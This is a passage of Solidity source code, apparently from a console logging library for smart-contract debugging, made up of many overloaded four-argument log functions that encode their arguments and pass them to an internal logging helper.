p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, 